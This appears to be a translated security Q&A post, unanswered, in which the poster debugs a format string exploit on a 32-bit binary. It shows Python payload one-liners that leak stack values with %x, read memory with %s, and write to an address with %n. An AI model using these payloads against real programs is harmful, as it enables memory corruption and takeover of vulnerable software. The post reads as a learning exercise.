Aiuto con Format String Exploit

2

Sto lavorando su un binario a 32 bit che legge un input dall'utente e usa quell'input come stringa di formato per printf.

Devo sovrascrivere un indirizzo specifico con un singolo byte.

Il problema è che non sono in grado di sovrascrivere l'indirizzo con il valore previsto.

Uso il seguente approccio e ho bisogno di aiuto per capire perché il valore errato viene scritto all'indirizzo di memoria scelto.

Esempio:

Indirizzo di memoria da sovrascrivere: 0xaabbccdd

$ echo -n $(python -c 'print "\xdd\xcc\xbb\xaa" + "%x" * 6') | ./bin

�̻�ffffd0a81814ffffd34556557000aabbccdd

Quindi, so che quando inserisco% x, 6 volte, l'indirizzo che voglio sovrascrivere verrà estratto dallo stack. Quindi, usando il 6% x, posso interagire con questo indirizzo di memoria.

Per leggere il contenuto di 0xaabbccdd, farei:

$ echo -n $(python -c 'print "\xdd\xcc\xbb\xaa" + "%x" * 5 + "%s"') | ./bin
�̻�ffffd0a81814ffffd34556557000aabbccdd

Ora, voglio scrivere 0x18 all'indirizzo: 0xaabbccdd.

0x18 = 24 (in decimale).

Se utilizzo% x 5 volte, il numero di byte scritti da printf è:

4 byte - > corrispondente all'indirizzo: 0xaabbccdd 5 DWORD dallo stack = 5 * 4 = 20 byte

quindi,% n dovrebbe scrivere (20 + 4) = 24 byte all'indirizzo di memoria 0xaabbccdd con la seguente stringa di formato:

echo -n $(python -c 'print "\xdd\xcc\xbb\xaa" + "%x" * 5 + "%n') | ./bin

Invece, sovrascrive l'indirizzo con il valore, 0x20.

Non riesco a capire, perché quei 2 byte in più?

% n dovrebbe scrivere il numero di byte stampati da printf finora.

    
posta Neon Flash 24.11.2018 - 13:31
fonte

0 risposte

Leggi altre domande sui tag